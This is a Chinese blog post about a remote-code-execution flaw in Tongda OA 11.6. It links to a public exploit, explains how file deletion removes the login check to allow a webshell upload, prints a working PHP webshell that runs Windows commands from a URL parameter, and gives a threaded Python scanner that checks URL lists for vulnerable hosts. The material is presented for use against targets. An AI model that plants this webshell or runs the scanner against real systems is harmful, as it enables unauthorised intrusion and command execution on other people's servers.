• 通达OA 11.6 RCE 漏洞(含EXP,POC,环境)


    漏洞环境下载:http://www.kxdw.com/soft/23114.html

    漏洞EXP:https://github.com/TomAPU/poc_and_exp/blob/master/rce.py

    漏洞POC:见文末(其实也简单就是验证/module/appbuilder/assets/print.php 此文件存不存在。)

    漏洞EXP利用原理

      根据exp构造了上传文件名和内容 {‘FILE1’: (‘hack.php’, payload)}
      同时利用file_exists函数的漏洞构造/.<>./.<>./.<>./ 逃逸出来
      也就是说在这里构造访问上传后
      file_exists判断存在将文件加_拼接目录移动到根目录下并删除原文件

      总体的根据exp分析 首先存在了任意文件删除漏洞
      然后删除登陆校验文件,进而导致任意文件上传漏洞
      组合之后也就是现在的rce漏洞

    利用漏洞不要直接打EXP会导致网站出现问题。(会成为这个样子=。=)

    EXP直接在代码里修改target和payload就好。上传的文件名也可在代码中修改。

    payload的一些马可能无法执行命令,此马可顺利执行命令。

    <?php
        $command=$_GET['a'];
        $wsh = new COM('WScript.shell');
        $exec = $wsh->exec("cmd /c ".$command);
        $stdout = $exec->StdOut();
        $stroutput = $stdout->ReadAll();
        echo $stroutput;
    ?>

    POC:

    存在/module/appbuilder/assets/print.php此文件(会出现如下界面。也会跳转url)

    POC代码,只需要验证文件是否存在就好,是否返回状态码是200。

    #!/usr/bin/enc python
    # _*_ coding: utf-8 _*_
    
    import requests
    import os
    import sys
    import threading
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    file = str(sys.argv[1])
    write = sys.argv[2]
    duwenjian = open(file , 'r' , encoding='UTF-8')
    xiewenjian = open(write , 'w')
    ff = duwenjian.readlines()
    
    def webhttp():
        for line in ff:
            try:
                line = line.rstrip("
    ")
                payload = "/module/appbuilder/assets/print.php"
                url = line + payload
                qingqiu = requests.get(url, verify=False, timeout=1)
                zhuangtai = qingqiu.status_code
                if zhuangtai == 200 :
                    print(url)
                    xiewenjian.write(url)
                    xiewenjian.write('
    ')
                else :
                    pass
            except OSError:
                pass
    
    def main():
        f = threading.Thread(target=webhttp)
        f.start()
        f.join()
        duwenjian.close()
        xiewenjian.close()
    
    if __name__=="__main__":
        main()

  • 相关阅读:
    Mysql 高可用方案讨论
    python 自动化之路 day 20 Django进阶/BBS项目【一】
    python 自动化之路 day 18 前端内容回顾、补充/Django安装、创建
    python 自动化之路 day 19 Django基础[二]
    Mysql配置文件读取顺序
    Mysql中查看每个IP的连接数
    循环杀死Mysql sleep进程脚本
    JS设计模式——5.单体模式(用了这么久,竟全然不知!)
    JS设计模式——4.继承(示例)
    JS设计模式——4.继承(概念)
  • 原文地址:https://www.cnblogs.com/liujizhou/p/13549954.html
Copyright © 2020-2023  润新知